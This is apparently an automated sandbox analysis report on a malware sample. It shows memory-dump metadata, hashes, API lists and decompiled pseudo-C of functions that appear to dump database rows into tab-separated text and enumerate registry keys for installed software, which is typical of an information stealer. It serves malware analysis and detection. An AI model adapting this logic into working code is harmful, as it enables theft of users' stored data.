Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x7881b8
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x7825d0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x7881b8
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x7860d0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00579650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005796D5
RtlAllocateHeap.NTDLL(00000000), ref: 005796DC
lstrcat.KERNEL32(?,?), ref: 0057973F
lstrcat.KERNEL32(?,004191EC), ref: 00579751
lstrcat.KERNEL32(?,?), ref: 00579765
lstrcat.KERNEL32(?,00418BC4), ref: 00579777
lstrlen.KERNEL32(?), ref: 00579789

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: 93071f2b38d7d6aff55e0de4df9f480ae7934ce72e6dfcebf485237bb6abff65
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: A34194B1900118ABCB18EFA4DD4AFDA77B8BF48701F008594F70997151D6759EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005788A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005788CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0057891F
RtlAllocateHeap.NTDLL(00000000), ref: 00578926
lstrcat.KERNEL32(?,?), ref: 00578989
lstrcat.KERNEL32(?,00418BC4), ref: 0057899B
lstrcat.KERNEL32(?,?), ref: 005789AF
lstrcat.KERNEL32(?,00418BC0), ref: 005789C1
lstrlen.KERNEL32(?), ref: 005789D3

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: 83c57aa63aa76cc6fdc18d21e6e8b51614221cd9cecbb8a751de977f857465f2
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: FB4174B1900108ABCB14EBA4DD4AFEA77B8BF48704F008594F70997151DB35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005783A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005783CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00578425
RtlAllocateHeap.NTDLL(00000000), ref: 0057842C
lstrcat.KERNEL32(?,?), ref: 0057848F
lstrcat.KERNEL32(?,004191EC), ref: 005784A1
lstrcat.KERNEL32(?,?), ref: 005784B5
lstrcat.KERNEL32(?,00418BC4), ref: 005784C7
lstrlen.KERNEL32(?), ref: 005784D9

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: b41a0f633bea1cf4cccdfd44e2f4de792ab16181916b45dbf7e3306568780968
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: 0941A7B1900118ABCB14EBA4DD4AFEA77B8BF48700F008594F709D7151DA75DEA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0043CC04, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 0043D41B
_write_string.LIBCMTD ref: 0043D436
_write_multi_char.LIBCMTD ref: 0043D462
__mbtowc_l.LIBCMTD ref: 0043D4D1

Strings

xD@, xrefs: 0043CC2B

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_write_string
String ID: xD@
API String ID: 153657362-1198140267
Opcode ID: 249ea9c8f2937d28fe37466cb5adc78b200cd23738bba106097d4660bcb84d80
Instruction ID: 4bc3abbf32495372af596d8078e8d919c379d98c1d113798f336a36c3ea03af5
Opcode Fuzzy Hash: 249ea9c8f2937d28fe37466cb5adc78b200cd23738bba106097d4660bcb84d80
Instruction Fuzzy Hash: 15A16FF1D002199BDB24DF54CC85BEEB3B5AB48305F14919AE6097B282D738AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x7865b8
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x7865e8
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x786618
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x786660
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x7866f0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

`fx, xrefs: 004061FB
ex, xrefs: 004061A2

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: `fx$ex
API String ID: 553454533-2333335607
Opcode ID: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 339612030bc37ffdbe752cae41bfb9cb2c421f843c437781f6b1cccd39fe225c
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00576380, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005763BC
lstrcpy.KERNEL32(?,00000000), ref: 0057640C
lstrcpy.KERNEL32(?,00000000), ref: 0057643A
lstrcpy.KERNEL32(?,00000000), ref: 00576468
lstrcpy.KERNEL32(?,00000000), ref: 00576496

Strings

`fx, xrefs: 0057644B, 00576450
ex, xrefs: 005763F2, 005763F7

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: `fx$ex
API String ID: 553454533-2333335607
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: 0ac544c2b6a4bc3c7a41dd098f013dd2e2fe5a7b86e956fd767d7ae554df8662
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: A95186B6D00108BBD715EF94EC4AFDA7778BB8C304F0485A8F60D92141E674DA94DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x78a4f0
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x7891d0
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x789098
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,007891D0,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,00789098,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x782758
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a5e4; // 0x788618
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.ADVAPI32(80000002,00782758,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.ADVAPI32(?,00788618,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Strings

X'x, xrefs: 0040AFAF

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X'x
API String ID: 3225020163-435547505
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0057B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0057B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[W), ref: 0057B31B
RegQueryValueExA.ADVAPI32(X[W,0041A4DC,00000000,00000000,?,000000FF), ref: 0057B33C
RegCloseKey.ADVAPI32(X[W), ref: 0057B346

Strings

X[W, xrefs: 0057B304, 0057B342, 0057B338, 0057B307, 0057B33B, 0057B345

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[W
API String ID: 3225020163-833545938
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: c2de1da131c3a5f9d72dcf6047510414215afd3dd431493b22473b3316180396
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 98014FB5A41208BFE700DFE0ED49FEEB7B8EB48700F008568FA05A7291D6745A50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0057B1D0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B1E4
RtlAllocateHeap.NTDLL(00000000), ref: 0057B1EB
RegOpenKeyExA.ADVAPI32(80000002,X'x,00000000,00020119,00575AF9), ref: 0057B20B
RegQueryValueExA.ADVAPI32(00575AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0057B22C
RegCloseKey.ADVAPI32(00575AF9), ref: 0057B236

Strings

X'x, xrefs: 0057B1FF, 0057B205

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X'x
API String ID: 3225020163-435547505
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: c98e418c676b3b55cfa9dd13095ee8eed159bf61d001f36577cda9f4f88e9c97
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 1A0144B5A41208BFE700DBD0ED49FEEB778FB48700F008564FA0597291D6745950CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0043CDDA, Relevance: 9.2, APIs: 6, Instructions: 238COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 0043CDEC
_write_multi_char.LIBCMTD ref: 0043D41B
_write_string.LIBCMTD ref: 0043D436
_write_multi_char.LIBCMTD ref: 0043D462
__mbtowc_l.LIBCMTD ref: 0043D4D1

Memory Dump Source

Source File: 00000014.00000002.410499533.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_42e000_C29C.jbxd

Similarity

API ID: _write_multi_char$__get_printf_count_output__mbtowc_l_write_string
String ID:
API String ID: 2136839635-0
Opcode ID: bf42d1b69b1ea14027d81cd37acfc4334fdf67cab3cca5d135293dc248d05faa
Instruction ID: 0b414c58bc724e794d43b919d7594c1682da96b4d501cb2f3a16ce1bcd993e5c
Opcode Fuzzy Hash: bf42d1b69b1ea14027d81cd37acfc4334fdf67cab3cca5d135293dc248d05faa
Instruction Fuzzy Hash: A9A192F1D002299BDF24DF55DC82BAEB3B4AB48304F14509AE6197B282D7389E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

